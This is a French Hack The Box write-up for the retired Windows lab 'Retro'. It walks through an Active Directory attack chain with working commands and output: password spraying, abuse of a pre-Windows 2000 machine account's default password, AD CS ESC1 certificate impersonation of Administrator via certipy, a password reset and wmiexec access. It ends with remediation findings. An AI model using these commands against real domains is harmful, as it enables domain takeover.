picsou@htb:~/writeups/easy/retro$

Windows Easy

Retro : compte machine pré-créé puis AD CS ESC1

Chaîne AD : spray trainee, compte machine pré-créé BANKING$, puis AD CS ESC1 (ESC1 + Schannel) pour usurper Administrator.

box
Retro
os
Windows
difficulté
Easy
publiée le
temps
1 h
indices
aucun
outils
netexec smbclient impacket certipy
techniques
Password spraying Énumération SMB Compte machine pré-créé Énumération LDAP AD CS AD CS ESC1

Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.

TL;DR

  1. Spray SMB : trainee:trainee.
  2. Le share Notes pointe vers un "compte machine pré-créé".
  3. BANKING$ est pré-créé pre-Windows 2000 : mot de passe = nom en minuscules (banking), vérifié en Kerberos.
  4. Le template AD CS RetroClients est vulnérable ESC1, et banking$ (Domain Computers) peut s'enrôler.
  5. Certificat usurpant Administrator, PKINIT cassé donc authentification par Schannel, reset du mot de passe, puis SMB pour root.txt.

Reconnaissance et foothold

Password spraying

On tente les noms d'utilisateurs comme mots de passe :

kali
netexec smb 10.129.234.44 -u users.txt -p users.txt --ignore-pw-decoding --continue-on-success
netexec
SMB  10.129.234.44  445  DC  [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB  10.129.234.44  445  DC  [+] retro.vl\BANKING:tblack (Guest)
SMB  10.129.234.44  445  DC  [+] retro.vl\trainee:trainee

trainee:trainee, le couple faible classique. Null Auth:True dans l'en-tête signale aussi que le compte Guest est actif, ce qui va compter tout de suite.

Énumération des partages

kali
nxc smb 10.129.234.44 -u 'trainee' -p 'trainee' --shares
shares
Share      Permissions   Remark
-----      -----------   ------
IPC$       READ          Remote IPC
NETLOGON   READ          Logon server share
Notes      READ
SYSVOL     READ          Logon server share
Trainees   READ

Le share Notes est non standard, cible prioritaire.

user.txt et l'indice

kali
smbclient //10.129.234.44/Notes -U 'retro.vl/trainee%trainee'
# smb: \> get user.txt ; get ToDo.txt

Contenu de ToDo.txt :

ToDo.txt
Thomas,
after convincing the finance department to get rid of their ancient banking software
it is finally time to clean up the mess they made. We should start with the pre created
computer account. That one is older than me.
Best
James

L'indice décisif : "the pre created computer account". BANKING n'est pas un utilisateur, c'est un compte machine pré-créé (BANKING$).

Exploitation du compte machine pré-créé

Quand un admin pré-crée un objet ordinateur avec l'option "Assign this computer account as a pre-Windows 2000 computer", l'AD pose un mot de passe initial déterministe : le nom du compte machine en minuscules (tronqué à 14 caractères, sans le $). Donc BANKING$ donne le mot de passe banking. Ce n'est pas lié à l'ancienneté, mais au mode de pré-création.

kali
getTGT.py 'retro.vl/banking$:banking' -dc-ip 10.129.234.44
export KRB5CCNAME=banking\$.ccache
getTGT
[*] Saving ticket in banking$.ccache

Le ticket est délivré : le mot de passe pré-créé banking est confirmé.

Fausses pistes écartées

Avant la bonne voie, plusieurs primitives liées à banking$ ont été testées et abandonnées. Les garder en tête évite d'y perdre du temps.

ce qui ne marche pas
RBCD           → banking$ n'a pas le WRITE sur DC$ (INSUFF_ACCESS_RIGHTS)
RBCD sur soi   → pas de SPN/hôte réel (KDC_ERR_S_PRINCIPAL_UNKNOWN)
Shadow Creds   → PKINIT non supporté par le DC (KDC_ERR_PADATA_TYPE_NOSUPP)
DCSync         → pas de droits de réplication (ERROR_DS_DRA_BAD_DN)
Nouveau compte → MachineAccountQuota épuisé

La vraie voie passe par AD CS.

Privesc : AD CS ESC1

Énumération de la PKI

kali
certipy find -u 'banking$'@retro.vl -p 'banking' -k -dc-ip 10.129.234.44 -dc-host DC.retro.vl -stdout -vulnerable
certipy find
CA Name   : retro-DC-CA
Template Name              : RetroClients
  Client Authentication      : True
  Enrollee Supplies Subject  : True
  Requires Manager Approval  : False
  Minimum RSA Key Length     : 4096
  Enrollment Rights          : RETRO.VL\Domain Computers ...
  [!] ESC1 : Enrollee supplies subject and template allows client authentication.

Le template RetroClients autorise Enrollee Supplies Subject (le demandeur choisit lui-même l'UPN) et Client Authentication (le certificat sert à s'authentifier). L'enrôlement est réservé à Domain Computers, et banking$, compte machine, en fait partie. C'est toute la raison du parcours par le compte machine pré-créé.

Demande du certificat usurpant Administrator

Deux murs successifs, et c'est là que ça se corse.

Récupération du SID du domaine :

kali
nxc ldap DC.retro.vl -u 'banking$' -p 'banking' -k -M whoami
whoami
User SID: S-1-5-21-2983547755-698260136-4283918172-1106

Requête finale, avec les deux options :

kali
certipy req -u 'banking$'@retro.vl -p 'banking' -k -dc-ip 10.129.234.44 -dc-host DC.retro.vl \
  -ca 'retro-DC-CA' -template 'RetroClients' \
  -upn 'administrator@retro.vl' -sid 'S-1-5-21-2983547755-698260136-4283918172-500' -key-size 4096
certipy req
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@retro.vl'
[*] Certificate object SID is 'S-1-5-21-2983547755-698260136-4283918172-500'
[*] Wrote certificate and private key to 'administrator.pfx'

PKINIT indisponible, bascule Schannel

L'authentification par certificat échoue, alors que le certificat est parfait (bon UPN, bon SID) :

certipy auth
[*] Trying to get TGT...
[-] KDC_ERR_PADATA_TYPE_NOSUPP (KDC has no support for padata type)
kali
certipy auth -pfx 'administrator.pfx' -dc-ip 10.129.234.44 -ldap-shell
ldap-shell
# whoami
u:RETRO\Administrator
# change_password Administrator Nouveau123!
Password changed successfully!

Accès final

WinRM (5985) est fermé, donc evil-winrm est inutilisable. On passe par SMB, qui répond.

kali
nxc smb DC.retro.vl -u Administrator -p 'Nouveau123!'
netexec
SMB  10.129.234.44  445  DC  [+] retro.vl\Administrator:Nouveau123! (admin)
kali
wmiexec.py 'retro.vl/Administrator:Nouveau123!@DC.retro.vl'
# C:\> type C:\Users\Administrator\Desktop\root.txt

Chaîne résumée

kill chain
spray → trainee:trainee
 → share Notes : ToDo.txt pointe vers le compte machine pré-créé
 → banking$:banking (mot de passe pre-Win2000 = nom en minuscules)
 → getTGT (Kerberos : SMB retombait sur Guest)
 → ESC1 : template RetroClients (EnrolleeSuppliesSubject + ClientAuth,
          enrôlement réservé à Domain Computers, banking$ en fait partie)
 → certipy req -upn administrator -sid ...-500 -key-size 4096
 → PKINIT cassé → certipy auth -ldap-shell (Schannel)
 → change_password Administrator → wmiexec SMB → root.txt

Findings

#ConstatSévérité (CVSS v4)Remédiation
F1Mot de passe faible et devinable (trainee:trainee)MoyennePolitique de mots de passe, désactiver les comptes de test
F2Compte machine pré-créé laissé avec son mot de passe par défaut (banking)ÉlevéeFinaliser ou supprimer les comptes pré-créés, ne pas utiliser le mode pre-Win2000
F3Template AD CS RetroClients vulnérable ESC1CritiqueRetirer Enrollee Supplies Subject, exiger l'approbation manager, restreindre l'enrôlement
F4Compte Guest actif (fallback d'authentification trompeur)FaibleDésactiver le compte invité

Leçons apprises

  1. (Guest) dans netexec est un fallback invité, pas un vrai login. Pour un compte machine, tester en Kerberos (getTGT), jamais conclure via SMB/NTLM.
  2. Compte machine pré-créé pre-Windows 2000 : mot de passe initial = nom du compte en minuscules.
  3. Template ESC1 avec Minimum RSA Key Length élevé : ajouter -key-size 4096 (sinon CERTSRV_E_KEY_LENGTH).
  4. DC patché KB5014754 : embarquer -sid <domaine>-500 (sinon Object SID mismatch).
  5. Certificat ESC1 valide mais KDC_ERR_PADATA_TYPE_NOSUPP : PKINIT indisponible, basculer sur certipy auth -ldap-shell (Schannel) au lieu d'insister sur Kerberos.
  6. WinRM fermé : wmiexec / psexec / smbexec via SMB pour l'accès final.

Références